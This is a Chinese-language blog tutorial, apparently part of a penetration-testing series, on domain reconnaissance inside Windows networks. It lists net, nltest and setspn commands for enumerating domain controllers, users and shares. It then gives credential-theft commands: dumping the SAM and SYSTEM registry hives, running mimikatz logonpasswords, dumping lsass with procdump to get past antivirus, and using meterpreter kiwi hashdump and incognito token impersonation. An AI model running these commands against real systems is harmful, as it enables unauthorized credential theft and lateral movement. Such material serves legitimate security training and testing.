内网渗透 - 域渗透(3): 域内信息收集

接上一章

传送门
域内信息收集的目的是判断域环境、找到域控制器的地址和获取域内其它机器的信息,并利用工具获取到相应的Hash或者密码

DOS命令

  • nltestsetspn命令只能够在桌面环境下的命令行运行(用域账号登录到桌面才能执行),在纯命令行环境下会运行失败,提示“不是内部或外部命令,也不是可运行的程序或批处理文件”或者 “Error loading resource: 0x00003b01”(CS或者meterpreter的shell和其派生的CMD shell,甚至仿冒了登录到机器的域用户的令牌后所派生的shell也不行)
  • 要执行net view相关命令,域网络防火墙要关,Computer Browser,Server,Workstation三项服务需启动

找域

net time /domian
ipconfig /all

以上2条命令可以用来判断是否存在域,域的名字是什么,从下图可以知道这台机器处于一个叫pent.local的域

通过ping <域控地址>可以得知pent.local域控的IP是172.16.10.11

查询信任域

nltest /domain_trusts /all_trusts /v /server:<域控ip>

查询域详细信息

nltest /dsgetdc:<域名> /server:<域控ip>

查询域内各种资源服务器

setspn -T <域名> -Q */* | findstr <过滤字符串/可不加>

查询域管理用户

net group "domain admins" /domain

查询域控制器

net group "domain controllers" /domain

查询域机器

net group "domain computers" /domain

查询域里面的组

net group /domain

查询域用户列表

net user /domain

查看当前域内机器列表

net view

(注意:要执行 net view相关命令,域网络防火墙要关,Computer Browser,Server,Workstation三项服务需启动)

查看开启的共享

net view \\ip
net view \\主机名

查看内网存在多少个域

net view /domain

查看指定域中的机器列表

net view /domain:<域名称>

获取域内所有用户SID

wmic useraccount get Caption,sid

导出域详细信息

csvde -setspn <域名> -f c:\windows\temp\xxx.csv

(Win Server 2008或以上服务器系统的内置工具,安装了AD DS或者Active Directory轻型目录服务服务器角色则此功能可用)

注册表读取密码

reg save HKLM\SYSTEM C:\windows\temp\Sys.hiv
reg save HKLM\SAM C:\windows\temp\Sam.hiv

(注意:成功执行此操作需要本地管理员\域管理员权限,如果是SYSTEM\本地普通用户\域普通用户权限,很大可能读取不出内容)

SYSTEM权限下尝试导出

导出后文件大小为0,即是无内容,导出失败

本地普通用户权限下尝试导出

导出后文件大小为0,即是无内容,导出失败

域普通用户权限下尝试导出

导出后文件大小为0,即是无内容,导出失败

域管理员权限下尝试导出

导出后文件大小不为0,即是有内容,导出成功

本地管理员权限下尝试导出

导出后文件大小不为0,即是有内容,导出成功

外部工具

如果DOS命令不起作用或者需要使用到高级功能的时候,一般会选择如mimikatz、nbtscan等工具来获取更多的信息,如需要Dump Password和Hash的时候就需要用到外部工具来辅助获取所需信息
(文末附上本章用到的工具)

mimikatz.exe

读取导出的注册表数据

lsadump::sam /sam:Sam.hiv /system:Sys.hiv
#mimikatz.exe "lsadump::sam /sam:sam.hiv /system:sys.hiv" exit

上一部分博主测试了使用reg save命令导出保存了注册成表中的信息,用上述命令可以解密其中的内容

内存读取Hash和密码

#分段执行
privilege::debug
sekurlsa::logonpasswords full
#一句执行
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

MSF派生CMD shell下分段执行效果(SYSTEM权限)

CS下一句执行效果(SYSTEM权限)

procdump过杀毒软件对mimikatz读取内存的限制

#procdump获取lsass进程的内存数据
procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp
# mimikatz运行解密命令
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"

mimikatz源码及其下载

Github仓库地址
Gitee仓库地址

procdump文档及下载

procdump微软官方文档
procdump下载

nbtscan.exe

扫描内网存活机器

#如果开启了防火墙无法被扫描到
nbtscan.exe <内网IP段>/<掩码>

下载

Github相关仓库
看着是可靠的源

dnsdump.exe

#导出域内dns记录
dnsdump.exe -u <域名>\<用户名> -p <用户密码>  -r <域控主机名>


此工具用python编写,由于并不是每一台机器都有python,所以要将python打包成exe,但是打包了也不一定能运行,加上没找到原生的exe文件,这部分先作罢了。博主感觉这一部分有点鸡肋

meterpreter::kiwi

load kiwi

mimikatz的升级,用于读取内存中的密码或者NTLM Hash,如需读取域控上的NTLM Hash,则需要拥有相应的域用户权限,SYSTEM权限是不能够读取到域NTLM Hash的

读取明文密码(直接meterpreter中运行即可)

run post/windows/gather/smart_hashdump

读取SAM数据库

lsa_dump_hash

读取Secrets

lsa_dump_secrets

meterpreter::incognito

load incognito

用于枚举\仿冒令牌,需要SYSTEM\域管理员\本地管理员权限

通过用户名枚举可用令牌

list_tokens -u

通过用户分组枚举可用令牌

list_tokens -g

仿冒某个用户

impersonate_token "<令牌>"


部分工具下载

mimikatz + procdump + nbtscan + dnsdump